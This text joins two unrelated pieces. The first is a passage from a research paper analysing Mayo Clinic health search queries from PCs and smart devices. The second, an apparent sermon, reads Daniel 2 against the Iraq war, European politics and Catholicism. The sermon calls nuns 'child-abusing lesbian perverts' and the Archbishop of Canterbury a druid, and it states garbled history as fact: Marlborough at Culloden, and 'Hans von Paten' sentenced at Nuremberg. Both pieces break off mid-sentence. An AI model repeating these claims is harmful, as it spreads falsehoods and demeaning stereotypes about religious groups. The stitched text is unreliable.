and SDs, we combined the repetition counts for each repeated query; for example, if a “diabetes” query has 5 repetitions in 1 month and 10 repetitions in another month, then the total number of repetition for the “diabetes” query is 15. Note that selecting the top queries for 2 years would be an easier approach for dataset creation, but in our case the data reports were available by month, thus we have to aggregate the data for each month to create the final analysis dataset. Data Analysis Overview In this study, we performed analyses on “queries with considering repetition counts (QwR)” and “queries without considering repetition counts (QwoR)”. Because the analysis performed with only QwR may overrepresent certain queries due to their large number of repetitions, we performed the analysis for both QwoR and QwR. The QwoR count is the same as the number of queries in the dataset. Hence for PCs, we have 2.74 million QwoR, and for SDs we have 3.94 million QwoR. We obtained the QwR count by aggregating number of repetitions for all the queries in the dataset. For both PCs and SDs, we got more than 100 million QwR. Due to Mayo Clinic’s confidentiality policy, we are not able to disclose the exact number of QwR. We are reporting percentages of PC and SD queries. Top Health Queries The top search queries are the most commonly searched queries. To analyze the top health queries launched from PCs and SDs, we selected the top 100 search queries, from PCs and SDs, based on the descending order of number of query repetitions in the analysis dataset. Health Categories To analyze popular health categories that OHISs search for from PCs and SDs, we selected the following 8 health categories corresponding to the organization of health topics on popular health websites (Mayo Clinic, MedlinePlus [], WebMD [ ]): Symptoms, Causes, Complications, Tests and Diagnosis, Treatments and Drugs, Risk Factors, Prevention, Coping and Support. For example, shows different health categories for diabetes on the Mayo Clinic website, where each health category has a separate webpage with detailed information (browsable via navigating the left panel). Based on the semantics of an OHIS’s input search query and a Web search engine’s recommendations, users may land on one of the health category pages on the Mayo Clinic website. For this study, we aggregated all the incoming health search queries between June 2011 and May 2013 that land on a particular health category webpages. For example, we aggregated all the search queries that land on the “Symptoms” webpage for all the diseases and health conditions on the Mayo Clinic website. We analyzed the type of device (PC or SD) used for searches and the number of search queries to each health category. Categorization Based on the Information Mentioned in the Health Queries In order to understand how often an OHIS mentions gender, age groups, and temporal references in the search queries, we categorized health queries using a dictionary-based approach. For each group, we created a lexicon by going through online English dictionaries [- ] and a manual evaluation of words. For example, in the “Gender” group we considered Men (Man, men, male, boy, gent, gentleman, gentlemen) and Women (Woman, women, female, girl, ladies, lady). We also considered keywords’ lexical variants; for example, boy, boys, etc. We categorized search queries from PCs and SDs by utilizing the lexicon for each category. Health Query Length To study the difference in health search query length for queries from PCs and SDs, we calculated search query length by computing the number of words (separated by white space) and the number of characters (excluding white space) in the health queries. Usage of Query Operators and Special Characters In search queries, query operators (“and”, “or”, “not”, etc) are used to formulate complex queries. In this study, we considered the following operators: AND, OR, +, &, other (NOT, AND NOT, OR NOT, & NOT). Special characters are characters apart from letters (a-z) and digits (0-9). The significance of special characters in a health search query depends on the usage of special characters in the medical domain. For example, OHIS may mention values in different formats, eg, 2.3 ml, 40%, 17-19, or $200 (for the cost of a drug or procedure). We analyzed the usage of search query operators and special characters in health queries based on their usage frequency in the PCs and SDs search queries. Misspellings in Health Queries OHISs occasionally make spelling mistakes while searching for health information. To analyze the frequency of such errors, we used a dictionary-based approach. We first generated a dictionary of words using the Zyzzyva wordlist [], the Hunspell dictionary [ ], and its medical version (OpenMedSpell [ ]), comprising a total of 275,270 unique words. We used this dictionary to check misspellings in health search queries from PCs and SDs. Type of Search Queries OHISs express their health information need by formulating health search queries on Web search engines. In general, each health search query indicates some health information need. OHISs can express their information need either by formulating search queries using keywords or asking questions (wh-questions and yes/no questions). For this analysis, we considered the following wh-questions (lexicon): “What”, “How”, “?”, “When”, “Why”, and others (“Who” “Where”, “Which”). Note that although “?” does not come under the wh-questions category, we have included it for simplicity. Yes/No questions are usually used to check factual information; for example, whether coffee is bad for the heart. In this analysis, we considered yes/no questions that start with “Can”, “Is”, “Does”, “Do”, “Are”, and others (“Could”, “Should”, “Will”, “Would”). Using the lexicon for wh-questions and yes/no questions, we performed text analysis on the search queries from PCs and SDs to count the number of queries with wh-questions and yes/no questions. Search queries that do not contain any question (wh- or yes/no) are classified as keyword-based. Additionally, for different wh- and yes/no questions, we computed their usage frequency in search queries from PCs and SDs. Linguistic Analysis of Health Queries Previous studies in generic search query log analysis have identified that understanding the linguistic structure, including phrase identification, entitity spotting and discriptiveness (level of context), of search queries can improve Web Information Retrieval systems [, ]. However, these efforts have not been applied extensively to health search queries, and hence in order to understand the linguistic structure of health queries, we performed part-of-speech analysis on search queries using Stanford’s POS tagger [ ]. For this analysis, we considered nouns, verbs, adjectives and adverbs. We mapped all subtypes in part-of-speech (eg, proper nouns, common nouns, compound nouns) to the main part-of-speech (eg, nouns). We analyzed the usage of different part-of-speech types in health queries based on their usage frequency in the PCs and SDs search queries. Results Top Health Queries Most of the top search queries from both PCs and SDs are for symptom descriptions (eg, “lupus symptoms”). Another common way an OHIS searches for health information is by disease name (eg, “Lupus”). Chronic diseases (cancer, cardiovascular disease, diabetes) and diet (Mediterranean diet, gluten free food) are also searched often. Based on the top 100 search queries from PCs and SDs, we found that 48.49% of the search queries are different between PCs and SDs. However, due to the Mayo Clinic business confidentiality, we are not in a position to disclose the actual top search queries and numbers publicly. Health Categories While searching for health information, one in every three OHIS searches for “Symptoms” (). Other popular health categories are “Causes” and “Treatments & Drugs”. Our analysis shows that the distribution of search queries for different health categories differs with the device used for the health search. At the same time, both PCs and SDs follow a similar pattern for distribution of the search queries between health categories. The percentage of OHIS searching for “Symptoms” is higher from SDs as compared to that from PCs. While for other health categories, the percentage of queries from PCs is slightly higher than that of SDs. Interestingly, one of the least searched health categories is “Prevention”. Categorization Based on the Information Mentioned in the Health Queries The following are some of our observations based on the information referenced in the search queries (). The data indicate that the number of search queries mentioning words related to women’s health is considerably higher compared to that of men. This implies that OHIS search for health information specifying women more often. The percentage of OHIS who use words related to “woman” in search queries is higher for PCs compared to SDs. Considering age group–related search queries, more than 60% of the queries are related to children. The percentage of OHIS that mention terms related to children in search queries is much higher for SDs compared to PCs. When considering a mention of the time of day in search queries, terms related to “Night” are mentioned most often (>60%) followed by words related to “Morning”. Very few search queries have words related to “Afternoon” and “Evening”. The percentage of OHIS using words related to “Morning” in search queries is higher for SDs compared to PCs, while the percentage of OHIS mentioning words related to “Night” in search queries is higher for PCs. Health Query Length The average search query length (and ) for QwoR (PCs: 4.82 words and 26.73 characters; SDs: 5.33 words and 27.41 characters) is much larger than the average length of QwR (PCs: 2.90 words and 17.61 characters; SDs: 3.29 words and 18.86 characters). This indicates that longer search queries result in fewer repetitions, while shorter queries tend to be repeated more often. The analysis, although derived from a limited dataset, implies that in general health search queries tend to be longer than general search queries (not specific to one domain), as the average length of general search query from PCs is 2-2.35 words [ - ] and from SDs is 2.3 words [ ]. This potentially indicates that OHISs describe their health information needs in more detail by adding relevant health context to the search query. Surprisingly, the average length of search query from SDs for both QwoR and QwR is slightly larger than queries from PCs. Usage of Query Operators and Special Characters In considering both PCs and SDs, approximately 10% of QwoR and 3% of QwR use at least one query operator. For QwR, the percentage of OHIS who use query operators in search queries is higher for SDs than PCs, while in the case of QWOR it is higher for PCs. AND is the most popular operator, followed by OR and “+”. Overall variations of “and” (AND, &, +) operators comprise more than 90% of operator usage. Considering QwoR, OHIS use AND OR query operators more often from SDs than that from PCs. Considering both PCs and SDs, around 10% of QwoR and 4% of QwR have at least one special character (). The percentage of OHIS using special characters in search queries is higher for PCs compared to SDs. Misspellings in Health Queries For QwoR and QwR, approximately 31% and 12% of queries, respectively, have at least one spelling mistake (). OHISs make slightly more spelling mistakes while searching health information from PCs than SDs. Types of Health Queries As indicated by the analysis in, OHISs predominantly formulate search queries using keywords, though wh-questions and yes/no questions are also substantial. Considering QwoR, OHISs ask more (wh- and yes/no) questions from SDs than PCs. In wh-questions ( ), OHISs mostly use “What” and “How” in the search queries, and both of them generally signify that more descriptive information is needed. OHISs ask more temporal questions (“When”) using SDs than PCs, while OHISs ask more “What” questions using PCs than SDs. In yes/no questions ( ), OHISs generally start search queries with “Can,” “Is”, and “Does”. OHISs ask more yes/no questions starting with “Can” using SDs than using PCs, while the percentage of questions starting with “Is” and “Does” comes more from PCs. Linguistic Analysis of Health Queries In health search queries, nouns typically denote entities like disease names, health categories, etc. Almost all health search queries have at least one noun. In the case of QwR, most of the search queries (>70%) have 1-2 nouns, while in the case of QwoR, most of the search queries (>60%) have 2-3 nouns. There is no considerable difference in noun usage between PCs and SDs. A verb conveys an action or an occurrence, for example “how to control (verb) diabetes (noun)?”. Considering QwoR, OHIS use at least one verb in 37% of queries from PCs and 47% in queries from SDs. Adverbs are words that modify a verb, an adjective, and another adverb, while an adjective is a “describing” word, giving more information about the object signified; for example, “extremely (adverb) bad (adjective) stomach (noun) pain (noun)”. Very few search queries have at least one adverb. Considering QwoR, 45.66% of the queries from PCs and 48.50% of the queries from SDs have at least one adjective. This indicates that the percentage of search queries with at least one verb/adverb/adjective is higher for SDs than for PCs (see). Discussion Overview Increasingly, individuals are actively participating in learning and managing their health by leveraging online resources. The percentage of people using the Internet and the usage of smart devices for health information searching is increasing rapidly. PCs and SDs have very distinct characteristics in terms of readability, user experience, accessibility, etc. These distinct characteristics provide some pros and cons for PCs and SDs: Web browsing and readability are better on PCs while accessibility is better for SDs. Also socioeconomic factors, such as age, gender, income level, education, familiarity with new technologies and devices [, ], play an important role in the usage of PCs and SDs in general and for online health information seeking. Device characteristics and socioeconomic differences in device usage have an effect on OHISB [ , , ]. Therefore, in order to improve the health information searching process, it is necessary to understand both aspects, that is, how an OHIS searches for health information and how device choice influences online health information seeking. In this study, we performed a comparative analysis on the most frequent health search queries launched from PCs and SDs to understand the effects of device type (PCs vs SDs) used for online health information seeking. The analysis dataset consists of search queries between June 2011 and May 2013, which were submitted from Web search engines and directed OHISs to the Mayo Clinic website. The website is visited by millions of unique OHIS every day, and it offers an identical appearance and accessibility for both PCs and SDs using standard Web search engines and Web browsers. Principal Results Following are some of the insights that surfaced from this study. Most of the top search queries from both PCs and SDs are related to symptoms, health conditions, chronic diseases, and diet. Our top search query analysis indicates that the device used has a significant effect on health information searching and the health information searched via different devices is also different (48.49%). While searching for health information, one in every three OHISs searches for “Symptoms”. Other popular health categories that OHISs search for are “Causes” and “Treatments & Drugs”. The analysis suggests that the distribution of search queries for different health categories differs with the device used for health search. Even though most of the diseases can be prevented with some lifestyle and diet changes, very few OHIS search for preventive health information. This highlights the fact that we need to promote preventive health care more vigorously. While searching for health information, OHISs specify words related to women and children more often than that of men and any other age group. The higher percentage of women seeking online health information could be a reason [, ]. The percentage of OHISs who use words related to “women” and “night” in search queries is higher for PCs than for SDs, while “children” and “morning” are higher for SDs compared to PCs. Health search queries are longer than general search queries, which implies that OHISs describe health information need in more detail. Longer search queries also denote OHIS’s interest in more specific information about the disease; subsequently, OHISs use more words to narrow down to a particular health topic. The average health search query length from SDs is longer than that of PCs, and while typing on SDs is slower and more difficult than typing on PCs, we posit that OHISs might be relying more on Web search engines’ auto-completion functionality, as well as on most devices’ speech recognition facilities, which might be increasing the length of search queries from SDs as compared to that from PCs. These results highlight the differences between usage of PCs and SDs for online health information seeking. The findings can be used by health websites and health application developers to better understand OHISB for PCs and SDs, understand OHIS’s health information needs, and better organize health information content for PCs and SDs users. For PCs and SDs, 1 in 3 QwoR, and 1 in 10 QwR contained at least one spelling mistake. These mistakes place a burden on the search process and may lead users to incorrect or irrelevant information. The search engine’s auto-completion feature, spelling correction/suggestion, and devices’ speech recognition facilities might be contributing to reducing misspelled words in search queries. Almost all health search queries have at least one noun. In addition to nouns, OHISs use verbs, adverbs, and adjectives while formulating search queries to provide more context for the topic of interest. The percentage of search queries with at least one verb/adverb/adjective is higher for SDs as compared to PCs. This implies that health search queries from SDs are more descriptive as compared to queries from PCs. OHISs formulate search queries by using keywords most frequently, followed by wh-questions and yes/no questions. Considering QwoR, OHIS ask more questions via SD than PC. In wh-questions, OHISs mostly use “What” and “How” in search queries, and both of them generally signify a need for more descriptive information while search queries in the form of yes/no questions indicate interest in factual information. Since search queries are a fundamental part of health information searching, it is essential that we understand characteristics of health search queries and the role of the device used for searching. This study provides useful insights for online health information retrieval systems. The linguistic structure of a search query has implications in information retrieval using Web search engines [, ]. Cory Barr et al [ ] highlight the importance of recognizing part-of-speech information of the input search query to improve search results and demonstrate that the part-of-speech is a significant feature for information retrieval. Our study provides distribution of part-of-speech in health search queries from PCs and SDs. Expressiveness or descriptiveness of the search queries has a significant impact on quality of the search results using Web search engines [ ]. Phan et al [ ] specify that with the increase in search query length, the descriptiveness of the query increases. Our study gives basic understanding about health search query descriptiveness based on health query length and part-of-speech analysis. Previous research in information retrieval have identified various important features of search queries such as usage of search query operators [ ], misspellings, query length [ - ], query type (keyword-based, wh-questions, yes/no questions), and part-of-speech [ , ]. We presented a comprehensive analysis of these features for health search queries via PCs and SDs. Comparison With Related Work This study contributes a comparative analysis performed on large-scale health search queries to understand the effects of device type (SDs vs PCs) used on OHISB. As discussed in the “Background and Significance” section, previous efforts have used several approaches to understand OHISB including (1) focus groups and user surveys, and (2) analyzing health-related Web search query logs. To the best of our knowledge, there is not much research on understanding the effect of devices on online health search behavior. In our work, we bridge this knowledge gap by analyzing more than 100 million health search queries from PCs and SDs to understand how device choice influences online health information seeking. In addition, we presented analysis for both QwR and QwoR in order to avoid bias from queries with a high number of repetitions. Moreover, we analyzed linguistic structure of health search queries from PCs and SDs, which has implications for Web search engines and information retrieval systems [, ]. Limitations The results of this study are derived from analysis limited to health search queries from Web search engines that led users to Mayo Clinic website. Even though Mayo Clinic web pages often ranked high in Web search engines, not all health information seekers visited the Mayo Clinic website. Also, this analysis is based on the top one million health queries per month (PCs/SDs) rather than the entire health traffic to Mayo Clinic site. In this work, we considered search queries from smartphones and tablets into same categories (ie, smart devices) as the search queries are differentiated based on the operating system of the device used for search, and not the type of specific device per se (eg, Apple iPhone vs iPad vs Android phone). The focus of this study is limited to analysis of a search query log, and we have not analyzed associated socioeconomic factors due to anonymized nature of the data. Previous studies have identified that socioeconomic factors such as age, gender, education, and income have an effect on device usage and OHISB [, , ]. Further research in analyzing health search queries based on socioeconomic factors can extend our knowledge about how socioeconomic factors affect health search query formation and the type of health information searched. Future Work In the future, we will extend this work by performing a semantic analysis on the data using biomedical knowledge bases and ontologies. Specifically, we plan to leverage insights from this work and use semantic Web technologies to facilitate health search experience by developing more advanced next-generation knowledge and content delivery systems. Semantic analysis in combination with advanced natural language processing techniques will help us acquire a deeper understanding of OHISB. Conclusions We presented a comprehensive analysis of large-scale health search queries from personal computers (desktops/laptops) and smart devices (smartphones/tablets) in order to understand the effects of device type on online health information search behavior. We noted that online health information search behavior differs from general online information search. Also, the type of device used for online health information search plays an important role and alters the health information search behavior. A greater understanding of OHIS’s needs, especially how they search and what they search for, may help us understand behavioral changes that will lead to improvement in online health information seeking and a more balanced approach to wellness and prevention. This study extends our knowledge about online health information search behavior and provides useful information for Web search engines, health-centric websites, health care providers, and health care–centric application developers. Finally, we anticipate that this work will help empower OHISs in their quest for health information and facilitate their health information search efforts by enabling the development of more advanced next-generation knowledge and content delivery systems. Acknowledgments We thank the Mayo Clinic Web Analytics team for their valuable contribution in data provision. This project was supported by the Mayo Clinic and by Grant #UL1 TR000135 from the National Center for Advancing Translational Sciences (NCATS). Conflicts of Interest None declared. References - Berkman ND, Davis TC, McCormack L. Health literacy: what is it? J Health Commun 2010;15 Suppl 2:9-19. [CrossRef] [Medline] - Berkman ND, Sheridan SL, Donahue KE, Halpern DJ, Crotty K. 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Introduction Many Christians are, of course, asking for a biblical perspective regarding the current events in Iraq. What should a Christian response be? This has become further complicated by the fact that the Archbishop of Canterbury, who is a druid, and the Roman Catholic Cardinal Cormack Mercy O’Connor, who is now under investigation since his admission that he has pandered to homosexual and pedophile priests in five dioceses, have both taken a stand for “Christian morality”. Having failed to stand for Christian morality in their own churches, they are now going to try straightening out the government. Therefore many Christians are asking questions about the war and how it should be viewed biblically. I am here neither to editorialize on behalf of the war, nor to protest against it. I simply want Christians to have a truly biblical perspective on what is really happening. The Statue of Daniel 2 By way of background, we will go first to Daniel 2. The statue Nebuchadnezzar seen in his vision represents the four empires that are corresponded by the four beasts later on in Daniel. The head, of course, is Babylon: the mind of the world is the mind of Babylon. The way the world thinks is derived from Babylon, going back first to the Tower of Babel in Genesis 11, more recently to the Babylonian Empire, and looking ahead to Babylon the Great in the book of Revelation when the false religious system of the world will be in confederation with its political system. The torso represents the Persian Empire, while the groin—the area in which reproductive organs are located—is the Greek Empire from which originates Hellenism. Hellenism: The Origin of Western Civilization The seminal influence on Western civilization is Hellenism; our Western world runs on it. Because of this, it is wise for us to try to understand Hellenism. The Hebrew worldview was “theocentric”, or centered on God. To the Hebrews, there is one God who is omniscient, omnipotent and omnipresent. You cannot lie to Him, cheat Him, or deceive Him; if you could, He would not be God. There is this one God, and no other. The Greeks, however, were polytheistic. Their gods were anthropomorphic—created in man’s image, and therefore you could lie to them, cheat them, try to placate them and so on. In the Hebrew worldview we are theopomorphic men and women; in other words, we are created in the image and likeness of God. The natural result of Greek theology was that man became the center of their universe. So instead of the theocentric Hebrew worldview, the Greeks had an anthrocentric worldview. This ultimately led to secular humanism. Western civilization, therefore, is a combination of two things: Judeo-Christian faith and Hellenism. In its broadest sense, Hellenization (or I should rather say anthrocentricity) reached its apex in the Western Enlightenment. The Jews had a separate “Enlightenment” which they called Haskala. Therefore what we are is this combination of Hellenism and Judeo-Christian faith, which is further colored by the Enlightenment. Then there are the two legs of the image in Daniel, which most people would define as Greco-Roman; others define them as a combination of the Hebraic and the Judaic. The Ten Toes Finally, then, we come to the ten toes. Let us take a look at Daniel 2, beginning in verse 30… “‘But as for me, this secret has not been revealed to me because I have more wisdom than anyone living, but for our sakes who make known the interpretation to the king, and that you may know the thoughts of your heart. You, O king, were watching; and behold, a great image! This great image, whose splendor was excellent, stood before you; and its form was awesome. This image’s head was of fine gold, its chest and arms of silver, its belly and thighs of bronze,” – Now again, I would point out that the two arms are the Media-Persian Empire. – was the dream. Now we will tell the interpretation of it before the king. You, O king, are a king of kings.” (Notice here how the text ascribes to a human the Messianic title:30-44. God's Judgment on Human Government The Book of Daniel deals with God’s judgment on human government, which ultimately becomes corrupted under the rule of Antichrist. Some years ago, I tried to warn people not to be naïve about the ten toes; at that time there were nine countries in the European Union and people were saying that as soon as one more joined, that would be the re-confederated Roman Empire. They were partially right, but that interpretation of the ten toes is less than plausible. Others interpret these ten toes to be ten power blocks in the world, like NAFTA, the E.U., etc. But whatever the correct interpretation is, this has to come out of Greco-Roman civilization. Greco-Roman civilization is found in such places as Australia and California—it is not only found in the countries that formed the Roman Empire, but also in those countries that came from it. With this background, then, let us begin to examine the iron and the clay. Mingling in the Seed of Men Notice first that this clay is potter’s clay. It is not raw clay, but rather clay that someone has attempted to fashion into something. Someone has tried to make the clay adhere to something to which it chemically cannot adhere. There is no co-valence on an atomic level between clay and iron—no magnetic attraction, ionic bonding, or anything like that. This iron and this clay do not adhere, though people attempt to make it do so. In this process of attempting to force potter’s clay to adhere to iron, it will “mingle with the seed of men”. In other words, there will be an attempt to achieve this political unity by somehow causing the people to mix and interbreed. Daniel tells us what happens: some of this unity is strong, some weak; they will combine with one another in the seed of men, but the unity is superficial and weak so that they cannot adhere to one another. Remember that the head is Babylon, which is trying to build the brotherhood of man in order to achieve divinity—“Man is God” is their Gnosticism. This is what is in back of the heresies of Kenneth Copeland and that entire crowd, their assertion that man can become God. Ancient Rivalries Reemerge Iron and clay do not adhere to one another. However, Daniel tells us that they will combine with one another “in the seed of men”. When you see a rugby game between Scotland and Wales, or between Ireland and Scotland, where Celts are playing against Celts, that is a friendly game. The dynamic changes, however, when England is playing against Scotland. Suddenly the ancient rivalry re-emerges and insults are heaped on the opposing team’s nationality. The old Celtic vs. Anglo-Saxon nationalism comes out. The only way there can be a true union of people from diverse backgrounds is through Christ. We are told in Ephesians that the wall of partition is broken down, even between Jew and Gentile. We sing this in Hebrew: Hu Shloneinu Nitachad—“He is our Peace, we shall be one”. Celts and Anglo-Saxons have never, ever gotten along. However, in the aftermath of the Reformation, there was a common belief in a more biblical form of Protestantism than the one you see today. With that came a common fear of the papacy, and of the political ambitions of Rome, which remain to this day. Why is Scotland part of the United Kingdom? Let’s briefly explore that: Bonnie Prince Charles was born in Rome, sent with the backing of Rome and the support of Catholic France to attempt to re-Catholicize the British Isles. The one reason that the Duke of Marlborough was able to defeat the Scottish highlanders up in Culloden was because the lowland Presbyterian Scots fought with the English against the Highland Scots. Why did Scots fight against Scots, aligning themselves with their ancient enemy the English against their fellow countrymen? Because they had in common Protestantism and fear of Rome. Otherwise, things would have gone differently. Bonnie Prince Charles reached as far south as the British Midlands attaining Macclesfield, south of Manchester. Rome's Role in Uniting Britain Rome has tried many times to re-Catholicize Britain. They tried it with the Spanish Armada, with Napoleon, and yes, with the Third Reich. The Vatican backed the Third Reich; let no one tell you differently. There was the Lantern Treaty with Mussolini and the treaty of Munich where the Catholic cardinals made an alliance with Hitler and the Zentrum, the Catholic party of Bavaria, led by Hans von Paten, who was a terrorist in WWI. Von Paten was sentenced at Nuremberg and was responsible for the second biggest terrorist attack on U.S. soil after 9/11, The Black Tom attack in New York Harbor. They combined in an effort to bring Hitler to power. The Vatican initially had a very pro-Hitler position under Pius XII. The only reason there is a union, as in the United Kingdom, is because of Protestantism. The only place in which you see any vestige of this remaining today is in Northern Ireland. In a post-Christian, neo-pagan Britain, Wales has its own Parliament, as does Scotland, as does Northern Ireland, and then you have Westminster. The United Kingdom is re-fragmenting because the glue is gone; they no longer believe the Gospel. They never truly fitted together anyway. The Scottish Presbyterian Calvinists and the English Puritan Calvinists massacred each other. Yet in the face of the common threat of Rome, they united. The only way that Jew and Gentile, Celt and Anglo-Saxon, or black and white can ever be one is through a common faith in Jesus. The mentality of the world is to build the Tower of Babel and bring about a man-made unity, but iron and clay do not adhere. So they try to force it to adhere, by mixing it with the seed of men. “‘they will combine with one another in the seed of men; but they will not adhere to one another, just as iron does not mix with clay.’” This is quite a verse. There is no biblical prohibition against interracial marriage. There is nothing wrong with a white Christian marrying a black one, a Hispanic Christian marrying an Asian one, a Jewish Christian marrying a Gentile believer. If they are true Christians, they can have true unity in Christ. However, you cannot have lasting cross-cultural unions outside of Christ; they will never adhere. History Repeats Itself Yugoslavia is where the Greek-speaking East and the Latin-speaking West of the Roman Empire fragmented; it is also where the Saracens, the Muslims, twice tried to invade Europe. This is where World War I began in Sarajevo, Bosnia when Gavrilo Princip assassinated the Archduke Ferdinand and a lot of big countries got dragged into it. This goes back to the Crusades, to ancient times before the Middle Ages. You can have a Tito in Communism, and they can sequester it for a while; but sooner or later the ancient rivalries always come out. It will always happen. As long as Great Britain was Christian, Celts and Anglo-Saxons could be united. As soon as they took Christ out, it began to re-fragment. People can try using potter’s clay to make things artificially united; but it will not last. The Past Failures of Socialism Eastern Europe was governed by an unelected Socialist bureaucracy where there were federal states; multi-national, multi-ethnic states like Czechoslovakia, Yugoslavia, and the Soviet Union. Federalism broke up and failed in Eastern Europe, and it is failing in Britain also. Socialism caved in on itself in Eastern Europe. The British welfare system caved in on itself in the 1970’s. Sir William Beverage began the welfare state after World War II in order to try to rebuild the infrastructure of Britain. At this time, a single-parent family was probably a widow raising her children alone because her husband had been killed in the war against the Nazis or the Japanese. Today a single-parent family is much more likely to be a woman in a Council flat with five children by three different fathers, supported by taxpayers. The welfare state became something it was never designed to be and you had a Socialist Britain. The government taxed industries that were productive in order to subsidize unproductive ones. This caved in with the Winter of Discontent, when Britain became the biggest borrower in the developed world. Everyone from miners to firefighters to garbage collectors was on strike. Then, of course, Mrs. Thatcher came to power, and it has never been the same since. So now you have the New Labor fighting the Old Labor. What you see happening between Iran and Iraq is just that. What is New Labor? New Labor is Old Tory. As Thatcher stood up for the coal miners, now Tony stands up for the firefighters. Maggie would always back the Yanks, so now Tony is going to back the Yanks. So Britain rejected Socialism as unworkable—it caved in; the same for Eastern Europe. Federalism is self-destructing in Britain, just as it did in Czechoslovakia, Yugoslavia and the Soviet Union. Yet now continental Europe is going into the things that Britain and Eastern Europe rejected: government by an unelected Socialist bureaucracy and federalism. They are trying to make the iron stick to the clay. Europol & KGB Not only that, but the KGB ran the old Soviet Empire. Now they have the Europol, the European Police, which they want to put above the law in the same way the KGB operated. They want to make them immune from writs; they want to suspend corpus juris and eliminate trial by jury. “You’re guilty until proven innocent.” “Yes, well, who said so?” “The Europol.” “We need to see the documents,” “No, you can’t serve a writ on them.” Do you see how it operates in the same way the KGB did? People are losing their democracy, yet they neither know nor care about it. No one thinks about it except to say that, “Well, if we go to the Euro, then I won’t have to change money when I go to Spain for my vacation.” They fail to realize that they are forfeiting sovereign control over their own economy. Remember, democracy came out of the influences of Protestantism; now that Protestantism is dead, Democracy is also on its way out. The Pattern of Rome Reemerges This idea of trying to hold an unnatural union together is not new. Pagan Rome, the fourth beast of Daniel or the fourth section of the statue in Daniel 2, also tried to hold things together. This is the way they attempted to achieve lasting unity: they made Greek rather than Latin the lingua franca so that they had an official language. Second, they had an integrated legion. Third, the Emperor was the “Bridge Builder”, or the “Pontificus Maximus”. Fourth, they had a common currency. And fifth, they had an eclectic infrastructure. What does that mean? From the Phoenicians the Romans got trade routes; from the Egyptians the Romans learned agriculture; from the Greeks they got culture and science. They built roads linking the whole Roman Empire, and established a postal system. They took something from everyone in order to achieve an artificial union that was held together by these five things. Therefore, if you pulled out of the Roman Empire, your nation would lose its postal system and the economy would be overturned because you’d be unable to trade due to the common currency. It did not matter to the Roman Emperor what religion you had as long as you also acknowledged him as the Pontiff. As we know, pagan Rome turned against two groups: the Jews and the true Christians. In comparison, Pope John Paul II also does not care what anyone believes; he calls the Dalai Lama a “great spiritual leader” and has interfaith gatherings in Assisi, Italy. (I have a photo of that deceiver kissing the Quran.) And yet four times he has denounced born-again Christians as “rapacious wolves” just as his predecessors, the Pontiffs of the pagan Roman Empire, did long ago. It didn’t matter to the Emperor what religion you observed so long as you allowed him to be the Pontiff. Then & Now They also had an integrated legion. The Roman soldiers in the Roman legion were, for the most part, Italian; the Roman legion was dominated by its Italian contingents. Yet they also had Greek contingents, Bulgarian contingent, and German mercenaries. In the end the Germans became the largest part of the Roman army. So they attempted to make iron adhere to clay, but eventually the Roman Empire split. What is it that we see happening now? We see a lingua franca: English is the computer language in the new economy, much to France’s anger. Second, they want a European Army. This would mean that Britain could no longer act in the way it did in the Falklands. It would be a situation in which Britain could only act in concert with other countries, either America or Europe. The Role of France What does France want? France is not concerned about Iraq, except pertaining to its own contracts. France has a problem: the English-speaking people—the Anglo-American Alliance—won WWI, not the French. Likewise, it was the British and the Americans who won the Second World War and the Cold War. It is also the British and the Americans who are at the forefront of the new economy. DNA was discovered jointly by an American and a British scientist at Cambridge. The Americans are at the forefront, along with the Brits. The English language dominates the Internet. The Americans rebuilt Europe after the War. Before WWII it was WWI, and before WWI it was the Franco-Prussian War and an unending series of wars, dating back to the Seventy Years’ War. The only time Europe has had one generation of peace that did not know war was when the security of Europe was in the hands of the Brits and Americans. Only when people from Britain and America ran Europe did Europe not have war. France is no longer a superpower; even their language has declined. Even as recently as 20 years ago one could go to Africa and speak French almost everywhere, but now only the elderly people know it. Everybody wants to know how to speak English. I have been to China—not only in Shanghai and Beijing, but out in the middle of nowhere in China—and what is the language people want to learn? English. Therefore, France has a resentment. France realizes that the only way she can still have power and influence is in combining with other countries that are different than she is. Although the British Empire collapsed, Britain continues to have influence and power in the world because of its special relationship with the United States, and residually through the Commonwealth. Britain is still a player on the world stage. Who calls the shots? It’s always Washington and London, not Paris and not Moscow any longer. These former empires have a resentment toward the English-speaking people, including Australia. The Real Strategic Alliances Forget about NATO; that is the strategic alliance that everyone notices and thinks about, but it is not the one that really matters any more. The real strategic alliance is based in Fort Meade, Maryland, Pinegap, Australia, and Cheltenham, England. It is the American NSA, the British GCHQ, and their Australian, Canadian, and Kiwi counterparts. It’s electronic intelligence gatherers, signal intelligence, and satellites that form the real strategic alliance that rules the world. NATO is only what you see; the real substance is in what you don’t see. The alliances about which America really cares are those alliances formed with the countries with whom she has special relationships: Great Britain, Israel and Australia—the other English-speaking nations and Israel. So France and Russia are sidelined. NATO is not that important any more since we won the Cold War. Why do you suppose there are so many American troops in Yorkshire? Do you think they are spying exclusively on Russia? No, they are also spying on Britain’s trading partners over in continental Europe. The Americans are giving intelligence to the British government about France and about future competitors in the global market. The reason that America wanted Britain to join the EEC was that it wanted Britain to be its investment platform and its voice in the EEC; therefore America pushed Britain into it. This is the way it works. So the French realize that the Americans and the British are ruling the world and decide they can’t have that. Therefore, they’ve got to have a European army because the only way for France to ever have a say again is to unite the iron and the clay. Catholicism: The Link Between All Europeans Next we come to the Pontificus Maximus. Pope John Paul II has said that he wants to see one Europe from the Urals to the Atlantic. The iron and clay do not mix, so we look at someone from Italy. He speaks a Latin Romance language; he is a Latin. Someone from Ireland, however, is a Celt, whose native language is Gaelic. Someone in Poland is a Slav, speaking a Slavic language. So we have Latins, Celts, and Slavs. What is the one and only thing that all of these people have in common? It is certainly not language, history, culture, or cuisine. It is Catholicism. All roads will always lead to Rome. The ecumenical movement goes hand-in-hand with the political reconfederation. Churches have lost moral credibility; the Roman Catholic Church is even discredited in Ireland. I saw a film in Ireland recently called The Magdalene Sisters which shows what child-abusing lesbian perverts nuns often really are. In Ireland, Catholicism once controlled the people’s minds; now only the old people respect the Catholic Church. It has no moral credibility because of the pedophilia that has always gone on, but can no longer be hidden. The Church of England is such a joke now that it deservedly loses a thousand people a week. They have morally discredited themselves because of things like the ordination of homosexuals. The Muslims then come along and they say, “We will bring morality back to Britain; we’re against homosexuality.” So what do morally bankrupt and discredited institutions like the Roman Catholic Church and the Church of England have to do in order to regain some moral credibility? They have to carve a political niche for themselves and become politicians. They redefine morality, not in terms of personal morality, but in terms of where you stand on social and political issues. Jesse Jackson in America is a good example: he is a black Baptist minister who collected millions of dollars for his “Rainbow Coalition” to help young urban black people. It was then found out that he was paying an astronomical salary to the mother of 